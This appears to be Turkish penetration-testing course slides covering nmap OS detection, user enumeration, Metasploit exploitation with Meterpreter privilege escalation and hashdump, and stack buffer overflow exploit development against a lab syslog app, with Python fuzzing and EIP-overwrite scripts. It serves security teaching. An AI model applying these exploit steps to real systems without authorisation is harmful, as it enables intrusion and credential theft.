  107. 107. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ İşletim sistemi tahmininin gerekçeleri: • Hedef sunucunun açıklık barındırıp barındırmadığının tahmini (örneğin rwho servisi Solaris 7-9 arasında exploit edilebilirken Solaris 10’da bu açıklık giderilmiştir). • Exploit kodlarının çalışabilmesi için düzenlenmesi (açıklık barındıran bir servis tespit etseniz bile exploit kodunuzun içindeki adreslerin hedef işletim sisteminin versiyonuna uygun hale getirilmesi gerekebilir. Çünkü exploit’un atlama adresi olarak kullandığı bölümdeki kodlar işletim sistemi güncellemesi ile ortadan kalkmış veya kaymış olabilir) • Envanter takibi (güvenlik yöneticisi olarak ağınıza bağlı cihazları takip etmek için bu yöntemi kullanabilirsiniz) • İzinsiz ve tehlikeli cihazların tespiti • Sosyal mühendislik (hedeflediğiniz bir kullanıcı hakkında size destekleyici bilgi sağlayabilir) İşletim Sistemi ve Versiyonu Tespiti
  108. 108. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ # nmap -O 192.168.163.131 İşletim Sistemi ve Versiyonu Tespiti Nmap, firewall'u aktif bir bilgisayarı -O opsiyonuyla işletim sistemi tespiti amacıyla taradığımızda en az 1 AÇIK ve 1 KAPALI port bulamadığı için ürettiği sonuçların sağlıklı olmayabileceğini belirtti.
  109. 109. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ İşletim Sistemi ve Versiyonu Tespiti Hedefteki sunucumuz Windows 7 Home Basic – SP1 işletim sistemine sahip
  110. 110. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ İşletim Sistemi ve Versiyonu Tespiti İşletim sistemi enumeration taramasını bu defa Firewall pasif iken yapacağız
  111. 111. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Firewall pasif hale getirildiğinde nmap biraz daha daraltılmış bir tahmin yapabildi İşletim Sistemi ve Versiyonu Tespiti
  112. 112. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ NMAP Aggressive Scan # nmap –A 192.168.163.131 Servis enumeration “nmap”in -A (Aggressive Scan) opsiyonu ile servis versiyonu, işletim sistemi tespiti, script scanning ve traceroute birlikte yapılıyor. İşletim sistemi enumeration
  113. 113. SERVİS VE İŞLETİM SİSTEMİ TESPİTİ Script scan sonuçları Traceroute sonuçları NMAP Aggressive Scan # nmap -A 192.168.163.131
  114. 114. KULLANICI TESPİTİ Windows 2000 işletim sistemi modern işletmelerde artık karşılaşma ihtimalimizin düşük olduğu bir işletim sistemi. Ancak en meşhur kullanıcı tespit yöntemlerinden birisi olduğundan ve belli bir yaşı aşkın işletmelerde kıyıda köşede kalmış böyle bir sunucuya rastlama ihtimaliniz olduğundan null session enumeration’dan bahsetmeden geçemeyiz. Null Session Enumeration
  115. 115. KULLANICI TESPİTİ Null Session Enumeration "enum4linux" aracı "Null Session"a imkan veren sunucularda kullanıcı tespiti ve parola politikası tespiti de yapabilmektedir.
  116. 116. KULLANICI TESPİTİ Hedef işletim sisteminin bir Windows 2000 sunucu olduğunu görebiliriz. Null Session Enumeration
  117. 117. KULLANICI TESPİTİ Null session’ı engellemek için gerekli olan restrictanonymous registry değerinin “0” olması sayesinde bu bilgilere erişebiliyoruz. Güvenli bir konfigürasyonda bu değerin “2” olması beklenirdi. Null Session Enumeration
  118. 118. KULLANICI TESPİTİ Daha evvel snmp-check aracı ile SNMP servisinden bilgi edinmiştik. Bu örnekte Metasploit'un auxilary modüllerinden snmp_enum modülünü kullandık. SNMP Enumeration
  119. 119. KULLANICI TESPİTİ Windows SNMP Enumeration Daha önce de gördüğümüz gibi Windows sunucu kullanıcı hesaplarının SNMP üzerinden elde edilmesine imkan verdi. Hedef bilgisayarımız bir Windows 7 idi.
  120. 120. KULLANICI TESPİTİ Linux SNMP Enumeration Kali üzerinde aktif hale getirdiğimiz SNMP servisi de bilgi sızdırıyor, ancak kullanıcı isimlerinin sağlanması gibi bir fonksiyonalitesi yok.
  121. 121. KULLANICI TESPİTİ Arama motorlarından E- Posta adresleri tespiti internet'ten VPN, Terminal Servisi, E-Posta Sunucu erişimleri, sosyal mühendislik amaçlarına hizmet edebilir E-posta Adreslerinin Tespiti
  122. 122. KULLANICI TESPİTİ E-posta Adreslerinin Tespiti Kuruma ait web siteleri spider edilerek web sayfalarında geçen e-posta adresleri aktif olarak aranabilir. Burp-Suite aktif veya pasif olarak gözlemlediği e-posta adreslerini raporlamaktadır.
  123. 123. KULLANICI TESPİTİ E-posta Adreslerinin Tespiti Burp-Suite uyarı örneği
  124. 124. KULLANICI TESPİTİ Ofis dokümanları metadata'ları internet'ten VPN, Terminal Servisi, E- Posta Sunucu erişimleri, sosyal mühendislik saldırılarına yardımcı olabilir Ofis Metadata'larından Kullanıcı Adı Tespiti Google'da "filetype" ve "site" anahtar kelimeleri ile hedef daraltılarak inceleme yapılabilir.
  125. 125. KULLANICI TESPİTİ Ofis Metadata'larından Kullanıcı Adı Tespiti
  126. 126. KULLANICI TESPİTİ Öntanımlı Kullanıcılar Hedef sunucu ve servis tespit edilebilirse bu örnekte olduğu gibi öntanımlı parola listelerinden veya ilgili sistemin dokümantasyonu içinden öntanımlı kullanıcılar aranabilir.
  127. 127. KULLANICI TESPİTİ EGZERSİZ • Kali üzerinde Nmap'in scriplerinin bulunduğu dizini tespit ediniz ve içindeki script dosyalarının isimlerini inceleyiniz. • oracle-enum-users.nse script'inin Oracle'ın öntanımlı portu dışında bir portu kullanması halinde nasıl bir değişikliğe tabi tutulması gerekebilir? • Nmap script scan için gerekli kullanım kurallarını nmap'in man page'inden inceleyiniz.
  128. 128. KULLANICI TESPİTİ Web uygulamaları aracılığı ile kullanıcı sızdırma Hedef kuruma ait bazı web uygulamalarının doğru ve hatalı kullanıcı kodları ile yapılan erişim denemelerinde ayırt edici hata yanıtları döndürecek bir şekilde kod geliştirilmeleri halinde (kimi durumlarda şans, kimi durumlarda tahmin edilebilir kullanıcı kodlarının kullanıcılara atanması sayesinde) net olarak belli bir kullanıcı kodunun geçerli olup olmadığını tespit edebiliriz. Bu tespit yapıldıktan sonra da parola politikasına bağlı olarak kaba kuvvet saldırısı ile web uygulamasına erişim gerçekleştirmemiz söz konusu olabilir. SMTP enumeration Açıkçası pek karşılaşılmasa da EXPN ve VRFY SMTP komutları ile ismini bizim verdiğimiz kullanıcıların hedef sistem üzerinde tanımlı olup olmadıklarını tespit edebiliriz. Ancak bu tür bir testte hedefi doğru belirleyebilmeniz için zaten şüpheli öntanımlı kullanıcıları hedef almanız lazım. Bu durumda SMTP enumeration yöntemi sadece basit bir doğrulama imkanı sunabilir. Diğer Kullanıcı Tespit Yöntemleri
  129. 129. METASPLOIT VE METERPRETER
  130. 130. İÇERİK • Metasploit Kullanımı • Meterpreter Kullanımı • Post Exploitation ve Yetki Yükseltme • Handler Modülü • Hashdump
  131. 131. METASPLOIT KULLANIMI Metasploit'in en sık kullanılan ve desteklenen arayüzü konsol arayüzüdür.
  132. 132. METASPLOIT KULLANIMI search type:exploit allmedia Senaryo 2'de manuel olarak gerçekleştirdiğimiz adımları bu defa Metasploit üzerinde gerçekleştirmeyi deneyeceğiz.
  133. 133. METASPLOIT KULLANIMI use exploit/windows/misc/allmediaserver_bof
  134. 134. METASPLOIT KULLANIMI netdiscover -r 192.168.163.0/24 Konsol arayüzünün avantajlarından bir tanesi de işletim sistemi komutlarını konsoldan ayrılmadan çalıştırabilmemizdir.
  135. 135. METASPLOIT KULLANIMI Hedef sistemimizin IP adresini görüyoruz.
  136. 136. METASPLOIT KULLANIMI set rhost 192.168.163.140
  137. 137. METASPLOIT KULLANIMI exploit Metasploit öntanımlı olarak meterpreter payload'u kullanıyor, bu yüzden payload tanımlamadan da "exploit" komutunu çalıştırabiliyoruz.
  138. 138. METERPRETER KULLANIMI hashdump (Meterpreter komutu) Meterpreter payload'umuz çalıştığında desteklenen meterpreter komutlarını "help" komutuyla görebiliriz. Hashdump komutunun yanıt döndürebilmesi için mevcut erişim haklarımız yeterli olmadı.
  139. 139. METERPRETER KULLANIMI getsystem Haklarımızı yükseltmek için Meterpreter'in "getsystem" komutunu kullanıyoruz Ancak bu işlem de başarısız oluyor. Bunun nedeni kullanılan payload'un X86 mimarisi için olması da olabilir, ancak exploit ettiğimiz Allmedia sunucusu bir X86 uygulama olduğu için bir X64 payload kullanamadık. Denemek isterseniz bu bağlantı üzerinden ayrı bir X64 exe payload atılarak gözlemleyebilirsiniz.
  140. 140. METERPRETER KULLANIMI run post/windows/gather/win_privs win_privs post exploitation modülünü kullanarak erişim sağladığımız kullanıcının haklarını ve hedef sunucuda UAC (User Account Control) kontrolünün aktif olup olmadığını kontrol ediyoruz. Local Admin grubundayız, ancak UAC'de aktif olduğu için Admin haklarımızı kullanamıyoruz.
  141. 141. METERPRETER KULLANIMI Windows 7 işletim sistemimiz üzerinde UAC kontrolünün aktif olduğunu görebiliriz.
  142. 142. POST EXPLOITATION VE YETKİ YÜKSELTME Bu defa yetki yükseltme işlemimizi yine bir lokal exploit kullanarak, ancak işlemimizi tamamen Metasploit platformunun kolaylıklarını kullanarak gerçekleştireceğiz. search local
  143. 143. POST EXPLOITATION VE YETKİ YÜKSELTME Karşımıza çıkan Metasploit lokal exploit modüllerini sırası ile mevcut Meterpreter oturumumuz üzerinden deneyebiliriz. Biz daha önceden çalıştığını bildiğimiz bir lokal exploit'i kullanarak ilerleyelim.
  144. 144. POST EXPLOITATION VE YETKİ YÜKSELTME show options set session 1
  145. 145. POST EXPLOITATION VE YETKİ YÜKSELTME run whoami
  146. 146. POST EXPLOITATION VE YETKİ YÜKSELTME Meterpreter'in "hashdump" fonksiyonunu kullanabilmek için mevcut payload'umuzu "windows/x64/meterpreter/reverse_tcp" payload'u ile değiştirelim ve lokal exploit'umuzu tekrar çalıştıralım.
  147. 147. POST EXPLOITATION VE YETKİ YÜKSELTME Yeni payload'umuzla bir Meterpreter oturumu alabildik.
  148. 148. POST EXPLOITATION VE YETKİ YÜKSELTME Bağlı olduğumuz kullanıcı adına baktığımızda "SYSTEM" kullanıcı olduğumuzu görebiliyoruz.
  149. 149. "hashdump" komutu ile sistem üzerindeki parola hash'lerini görüntüleyebildik. Bu hash değerlerini daha sonra parola saldırısında kullanabiliriz. HASHDUMP Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: test:1000:aad3b435b51404eeaad3b435b51404ee:979357191cb4f445b47292af934fd2a7:::
  150. 150. BELLEK TAŞMA AÇIKLIKLARI
  151. 151. İÇERİK • Stack Tabanlı Bellek Taşması • Kullanılacak Araçlar • Uygulamanın Fuzz Edilmesi • Python Script • EIP Register Kontrolü • Stack Alanı • Bad Char • Return Address – JMP ESP • Shellcode • Metasploit’ Exploit Ekleme Adımları
  152. 152. STACK TABANLI BELLEK TAŞMASI STACK’İN KULLANIM AMAÇLARI • Fonksiyon lokal değişkenleri için hafıza alanı sağlaması • Bir fonksiyon çağrıldığında çağrılan fonksiyondan çıkıldığında dönülecek instruction adresinin saklanması • Çağıran fonksiyonun stack taban adresinin saklanması • Çağrılan fonksiyona aktarılacak parametrelerin saklanması
  153. 153. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Yüksek Adres Düşük Adres Pseudo Assembly esp
  154. 154. STACK TABANLI BELLEK TAŞMASI TEMEL X86 REGISTER’LARI EIP Bir sonra çalışacak olan instruction’ın adresi EBP ve ESP İçinde bulunulan fonksiyonun stack frame’inin taban ve tavan adreslerini barındıran register’lar EAX, EBX, ECX, EDX, ESI, EDI Genel amaçlı register’lar EFLAGS Çeşitli instruction’lar tarafından etkilenen ve kullanılan bayrakları barındıran 32 bit’lik bir register
  155. 155. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly call main ya da call 0x00412345 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP
  156. 156. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly push ebp mov ebp, esp Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBPebp
  157. 157. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly sub esp, 0x190 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık alan ebp
  158. 158. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly push 0xA Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık alan 0x0A000000 ebp
  159. 159. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly call f1 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık alan 0x0A000000 saklanan EIP (main) ebp
  160. 160. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly push ebp mov ebp, esp Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) ebp
  161. 161. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly sub esp, 0x28 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres esp Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) ebp 0x28 byte’lık tanımsız alan
  162. 162. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly mov [ebp-4], 0x0 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) ebp 0x24 byte’lık tanımsız alan 0x00000000 esp
  163. 163. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly mov ebx, [ebp+8] mov [ebp-8], ebx Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) 0x20 byte’lık tanımsız alan 0x00000000 0x0A000000 esp ebp
  164. 164. STACK TABANLI BELLEK TAŞMASI int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly memset v.b. Fonksiyonla AAA...AAA sabitinin ayrılan hafıza alanına yazılması Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) 0x20 byte’lık tanımsız alan 0x00000000 0x0A000000 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 esp ebp
  165. 165. STACK TABANLI BELLEK TAŞMASI 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly xor eax, eax add esp, 0x28 Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 saklanan EIP (main) saklanan EBP (main) 0x41414141 0x41414141 0x41414141 0x41414141 espebp EAX = 0x00000000
  166. 166. STACK TABANLI BELLEK TAŞMASI 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly pop ebp ret Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 0x41414141 0x41414141 esp EBP = 0x41414141 EIP = 0x41414141
  167. 167. STACK TABANLI BELLEK TAŞMASI 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 0x41414141 int f1(int girdi) { int i=0; int x=girdi; char adSoyad[32]; adSoyad="AAA...AAA"; return 0; } int main() { char[400]=""; f1(10); printf("def"); return 0; } Pseudo Kod Pseudo Assembly ???????? Stack main fonksiyonunu çağıran fonksiyonun stack frame’i Düşük Adres Yüksek Adres saklanan EIP saklanan EBP 0x190 byte’lık tanımsız alan 0x0A000000 0x41414141 0x41414141 esp EIP = 0x41414141
  168. 168. BUFFER OVERFLOW • Bu bölümde Buffer Overflow yöntemi kullanarak shell açma konusundan bahsedeceğiz. Shell açmak için gerekli çalışmaları yaptıktan sonra oluşturacağımızı exploiti Metasploit framework üzerine bir modül olarak ekleyeceğiz. • Adımlarımızı BTRisk tarafından bu konuya özel olarak geliştirilen BTRSyslog uygulaması üzerinde gerçekleştireceğiz.
  169. 169. UYGULAMA HAKKINDA • BTRSyslog uygulaması UDP 514 portunu dinleyerek kendisine gelen paketleri toplamaktadır. Bu nedenle Buffer Overflow adımlarını izlerken bizde bu port ve protokolden faydalanacağız.
  170. 170. UYGULAMA TESTİ • hping3 192.168.2.4 -p 514 --udp --data 1
  171. 171. KULLANILACAK ARAÇLAR • Immunity Debugger http://debugger.immunityinc.com/ID_register.py • mona.py script'i https://www.corelan.be/index.php/2011/07/14/mona- py-the-manual/ Mona.py script'imizi Immunity Debugger üzerinde kullanılabilmesi için bu dosyayı şu dizine kopyalamalıyız: C:Program Files (x86)Immunity IncImmunity DebuggerPyCommands
  172. 172. UYGULAMANIN FUZZ EDİLMESİ • BTRSyslog uygulaması UDP 514 portundan girdi alıyor. Bu porta gönderilecek verileri üretmek ve herhangi bir bellek taşması bulunup bulunmadığını test etmek amacıyla bir fuzzing script'i kullanacağız.
  173. 173. FUZZ SCRIPT (PYTHON) #!/usr/bin/python import socket, time buffer = ["A"] counter = 10 while len(buffer) <=20: buffer.append("A" * counter) counter = counter + 10 for strings in buffer: time.sleep(1) print "Buffer : %s byte" % len(strings) s=socket.socket (socket.AF_INET, socket.SOCK_DGRAM) s.connect(('192.168.2.7', 514)) s.send(strings) s.close Bu script ilk olarak tek bir "A" karakteri gönderecek, sonraki pakette 10 adet "A" karakteri ve daha sonraki her pakette de 10'ar tane daha "A" karakteri ekleyerek veri gönderilecek. Yani: "A" "AAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" ... şeklinde
  174. 174. FUZZING – IMMUNITY DEBUGGER • Fuzzing işlemi sırasında hata alırsak hatanın alındığı anda belleğin durumunu ve register'ların değerlerini net olarak görebilmek için uygulamamıza Immunity Debugger ile "attach" olacağız (veya BTRSyslog'u doğrudan Immunity Debugger içinden başlatabiliriz). • Debugger uygulamaya attach edildiğinde (veya uygulama debugger ile başlatıldığında) debugger uygulamayı bir software breakpoint ile durdurur. Uygulamanın çalışmaya devam edebilmesi için "Run program" tuşuna basılır.
  175. 175. • Uygulamamız belli bir veri uzunluğu aşıldığında hata aldı ve kontrol debugger'a devredildi. FUZZING – IMMUNITY DEBUGGER Immunity Debugger'ın CPU view'ında sağ üst köşede Register'ların değerlerini görebiliriz. Buraya göz attığımızda hata alındığı anda EIP değerinin 0x41414141 olduğunu görüyoruz.
  176. 176. • 0x41 değeri "A" karakterimizin ASCII Hex karşılığıdır. • EIP değerini bizim gönderdiğimiz bir veri ile ezebilmek demek uygulama akışına müdahale imkanı elde ettiğimiz anlamına gelmektedir. • EIP register'ına yazacağımız değerin anlamlı bir adres olabilmesi için başarmamız gereken ilk adım EIP değerine müdahale edebildiğimiz 4 byte'lık (yani 32 bit'lik) veri alanının gönderdiğimiz veri (payload) içinde tam olarak nerede olduğunu tespit etmektir. FUZZING – IMMUNITY DEBUGGER
  177. 177. EIP REGISTER KONTROLÜ • EIP registerına müdahale edebildiğimiz offset değerini tespit edebilmek için metasploit framework içerisinde bulunan "pattern_create.rb" scriptini kullanacağız. • Bu script ile 200 byte uzunluğunda bir pattern oluşturacağız.
  178. 178. ./pattern_create.rb -l 200 EIP REGISTER KONTROLÜ
  179. 179. #!/usr/bin/python import socket buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3 Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7A c8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae 2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6 Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag" s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close FUZZING – IMMUNITY DEBUGGER Oluşturduğumuz pattern'ı BTRSyslog'a göndermek için yandaki script'i kullanabiliriz. Ancak BTRSyslog uygulamamızı baştan başlatmayı unutmayınız.
  180. 180. Register'lar EIP = 0x65413565Instruction'lar EIP REGISTER KONTROLÜ Stack alanı Pattern BTRSyslog sunucusuna gönderildiğinde yine hata aldık, ancak bu defa EIP değeri 0x65413565 oldu. Şimdi sıra bu verinin tam olarak hangi offset'te yer aldığını bulmaya geldir.
  181. 181. EIP REGISTER KONTROLÜ ./pattern_offset.rb -q 65413565
  182. 182. • 136. offset değerinin doğruluğunu test etmek için şu formatta bir payload üretebiliriz: EIP REGISTER KONTROLÜ buffer = "A" * 136 + "B" * 4 + "C" * 60 AAAAAAAAAAAAA...AAAAAABBBBCCCCCCCC...CCC
  183. 183. EIP REGISTER KONTROLÜ #!/usr/bin/python import socket buffer = "A" * 136 + "B" * 4 + "C" * 60 s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close
  184. 184. • Scriptimiz çalıştıktan sonra EIP register'ının 0X42424242 değerleri ile ezildiğini görüyoruz. Bu durumda EIP offset değerimizin doğruluğundan emin olabiliriz. EIP REGISTER KONTROLÜ
  185. 185. STACK ALANI • EIP register değerini manipüle ettikten sonra sıra belleğe kendi kodumuzu yazmaya geldi. İşe yarar bir shellcode'un boyutu 350-400 byte civarında olacaktır. • EIP değerini ezmeden önce kullandığımız alan 136 byte olduğundan tercihimiz EIP register'ının ezildiği noktadan sonra shellcode'umuzu yerleştirmek olabilir. • Ancak shellcode'umuzu yazdığımızda Stack alanının başlangıç sınırını aşmayacağımızdan emin olmamız lazım. Aksi taktirde payload'umuz yazılırken hata alırız ve daha kodumuz çalışmadan uygulama sonlanır.
  186. 186. #!/usr/bin/python import socket buffer = "A" * 136 + "B" * 4 + "C" * 460 s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close EIP'yi ezdiğimiz alandan sonra yeterli alan bulunup bulunmadığını test etmek için payload'umuza 460 byte'lık bir değer ekleyelim. STACK ALANI
  187. 187. Bu noktada 2 iyi haberimiz var: (1) Hata alındığında ESP register'ı payload'umuzun bir bölümüne işaret ediyor. (2) 460 byte'lık veriyi stack'e yazabildik ve stack limitini aşmadık. STACK ALANI
  188. 188. Register'larımızdan birisinin payload'umuza işaret etmesi önemli çünkü: • Modern işletim sistemlerinde ASLR uygulandığından stack alanımızın adresi her yüklemede değişecektir. Bu yüzden payload'umuzu çalıştırabilmek için STACK adresine güvenemeyiz. • Ancak uygulamanın bellek alanına yüklenen ve ASLR uygulanmayan bir modülün (yani bir başka DLL veya EXE imajının) içinde JMP ESP, CALL ESP, v.b. instruction'lar varsa bu modülün hafızaya yerleştiği alan her defasında sabit olacağından bu modülleri atlama noktası olarak kullanabiliriz. STACK ALANI
  189. 189. • Gerçek payload'umuzu oluşturmaya başlamadan önce payload'umuzun belleğe yazılmasına engel olabilecek karakterlerin (bad chars) tespit edilmesi gerekmektedir. • Bu karakterlerin en tipik olanı strcpy() gibi fonksiyonların belleğe yazmasına son vermesine neden olan "0x00" yani null byte değeridir. Ancak bunun dışında farklı değerler de soruna yol açabilir. • Bu yüzden daha fazla ilerlemeden önce kötü karakterleri tespit etmemizde fayda var. KÖTÜ KARAKTERLER
  190. 190. !mona config -set workingfolder c:logs%p Kötü karakterleri tespit etmek için manuel yöntemi kullanabiliriz. Ancak "mona.py" script'inden faydalanacağız. Bunun için öncelikle "mona"nın çıktılarını yazabilmesi için bir dizin belirlememiz lazım. KÖTÜ KARAKTERLER
  191. 191. !mona bytearray -b "x00" "mona" ile "x00" hariç tüm byte'ları içerecek bir bytearray oluşturuyoruz. "mona" bir "txt" bir de "bin" dosyası oluşturuyor. KÖTÜ KARAKTERLER
  192. 192. "bin" dosyası "mona" ile bellek karşılaştırması için kullanacağımız dosya "txt" dosyası ise exploit kodumuz içinde kullanılabilecek formatta veri içeriyor KÖTÜ KARAKTERLER
  193. 193. #!/usr/bin/python import socket badchars = ("x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20" "x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40" "x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60" "x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80" "x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0" "xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0" "xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0" "xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff") buffer = "A" * 136 + "B" * 4 + badchars s=socket.socket (socket.AF_INET,socket.SOCK_DGRAM) s.connect(('192.168.2.13', 514)) s.send(buffer) s.close "CC" payload'umuzun yerine "mona" ile oluşturduğumuz byte array'i yerleştirerek tekrar sunucumuza gönderiyoruz. KÖTÜ KARAKTERLER
  194. 194. KÖTÜ KARAKTERLER ESP register değerinin üzerinde sağ klikleyerek "Follow in Dump" seçeneğini seçiyoruz ve sol altta bu alandaki verileri görebiliyoruz. "x09" byte'ından sonraki kesinti hemen göze çarpıyor. Ancak biz kötü karakterlerin tespitinde mona'dan da faydalanmayı göreceğiz.
  195. 195. KÖTÜ KARAKTERLER !mona compare -f C:logsBTRSyslogbytearray.bin -a 06C3F450 "mona"nın compare komutuyla oluşturduğumuz binary dosya ile bellek'te 0x06C3F450 adresinden başlayan alanı karşılaştırıyoruz. Mona bize 9. byte'tan sonra bozulma olduğunu x00 ve x0a karakterlerinin kötü karakter olduklarını söylüyor.
  196. 196. !mona bytearray -b "x00x0a" "x0a" karakterini kötü karakter olarak belirlediğimiz için "mona" ile "x00" ve "x0a" hariç tüm byte'ları içerecek yeni bir bytearray oluşturuyoruz. KÖTÜ KARAKTERLER
